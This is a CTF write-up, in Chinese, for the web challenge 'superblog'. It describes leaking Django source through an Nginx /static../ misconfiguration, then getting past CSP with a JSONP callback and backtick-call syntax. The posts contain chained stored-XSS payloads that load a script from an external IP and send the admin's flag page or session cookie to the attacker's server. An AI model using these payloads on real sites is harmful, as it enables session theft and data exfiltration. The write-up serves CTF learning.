superblog

目标站有注册、登录、创建 post、联系管理员功能,结合 CSP 头可以推测应该是一道 XSS 题。通过 404 页面可以知道目标站用的是 Django,并且没有关闭 DEBUG 模式。

判断目标站点是否为 Django 开发,可以参考 @phith0n 师傅的这篇文章。文中的“CSRF Token 名称确认”方法对这题也适用。

在返回头中看到了 Nginx,回想起 Pwnhub 第二期的 Web 题考察的一个知识点就是 Nginx 在为 Django 做反向代理时,静态文件目录配置错误导致源码泄露。访问 /static.. 会 301 重定向到 /static../,漏洞确实存在,那我们就能拿到源码了。

阅读源码可以知道 flag1 通过 GET /flag1 获得,flag2 需要向 /flag_api POST /flag2 中的验证码才能得到。要获得这两个 flag 都要先满足 req.user.username == 'admin' and req.META.get('REMOTE_ADDR') == '127.0.0.1' 这两个条件。其中第二个条件可以忽略,因为对于 Nginx 反向代理的 Django 来说,它拿到的 REMOTE_ADDR 始终是 Nginx 的 IP,在这题中也就是 127.0.0.1。这一点可以通过让 DEBUG 模式下的 Django 抛出异常来验证:

views.py 中的 feed 视图没有做异常处理,不传或者随便传个 type 就可以让 Django 抛出异常。DEBUG 模式下异常页面输出的信息可以说比 phpinfo() 还要详细。

def feed(req):
    posts = get_user_posts(req.user)
    posts_json = json.dumps([
        dict(author=p.author.username, title=p.title, content=p.content)
        for p in posts])
    type_ = req.GET.get('type')
    if type_ == 'json':
        ...
        resp = ....
    elif type_ == 'jsonp':
        ...
        resp = ....
    return resp

现在要解决的是 req.user.username == 'admin' 。虽然我们能拿到包含 SECRET_KEY 的 settings.py ,但是目标并没有用基于 Cookie 的 Session,所以我们没法伪造 Session,这时候应该就要用 XSS了。

templates/blog/post.html 中可以看到 post.content | safe,这个 safe 过滤器的作用是将字符串标记为不需要 HTML 转义,所以 post 的内容处可以插入任意 HTML 代码

settings.py 中可以看到目标的 CSP 头是通过 middleware 加的:

script-src 'self' 限制得有点厉害,但 /feed?type=jsonp 的 cb 参数可以插入自己的代码:

    callback = req.GET.get('cb')
    bad = r'''[\]\\()\s"'\-*/%<>~|&^!?:;=*%0-9[]+'''
    if not callback.strip() or re.search(bad, callback):
        raise PermissionDenied
    resp = HttpResponse('%s(%s)' % (callback, posts_json))

正则黑名单不让用括号()和等号=,没法给 location.href 赋值来跳转传出数据,但可以用反引号`执行函数,所以我们可以在 post 的内容处插入这样的 script 标签来 有限制地执行 js 代码

<script src="/feed?type=jsonp&cb=alert`a`,console.log"></script>

前面提到 CSP 头是通过 Django 的 middleware 加的,而 /static/ 目录是由 Nginx 负责的,所以它没有 CSP 头,下面贴出解题方法:

倒序发布以下四个 post,然后将 post0 提交给管理员

post0: 管理员访问的是 http://localhost:1342/post/<post.id>,1342 是 gunicorn 起的,而 Nginx 在 80 端口,利用 Cookie 与端口无关的特点,跳转到 localhost:80 的 post1,后面才能访问到没有 CSP 头的 /static/

标题:post0
内容:
<a id="aa" href="http://localhost/post/post1的ID"></a>
<script src="/feed?type=jsonp&amp;cb=document.getElementById`aa`.click``,console.log"></script>

post1: 在新窗口中打开 post2,自身跳转到 /flag

标题:post1
内容:
<a id="aa" href="post2的ID" target="_blank"></a>
<a id="bb" href="/flag1"></a>
<script src="/feed?type=jsonp&amp;cb=document.getElementById`aa`.click``,document.getElementById`bb`.click``,console.log"></script>

post2: 在新窗口中打开 post3,自身跳转到没有 CSP 头的 /static/

标题:post2
内容:
<a id="aa" href="post3的ID" target="_blank"></a>
<a id="bb" href="/static/"></a>
<script src="/feed?type=jsonp&amp;cb=document.getElementById`aa`.click``,document.getElementById`bb`.click``,console.log"></script>

post3: 将 post3 的标题写到 opener 的 document 里

标题:<script src="http://54.223.161.61/01.js"></script>
内容:<script src="/feed?type=jsonp&amp;cb=opener.document.write`${document.body.firstElementChild.nextElementSibling.firstElementChild.firstElementChild.nextElementSibling.nextElementSibling.firstElementChild.innerText}`,console.log"></script>

post3 的标题被写入到没有 CSP 头的 /static/ 页面上,加载了外部 js。此时 /static/ 页面的 opener 是原本为 post1 的 /flag,读取 opener.window.document.body.innerHTML 发送到自己服务器上就可以了。

也可以去读 /feed 页面上的 Cookie,拿到 admin 的 sessionid,一石二鸟。

urlstorage

看了眼 /static../views.py,直接 /static../templates/flag.html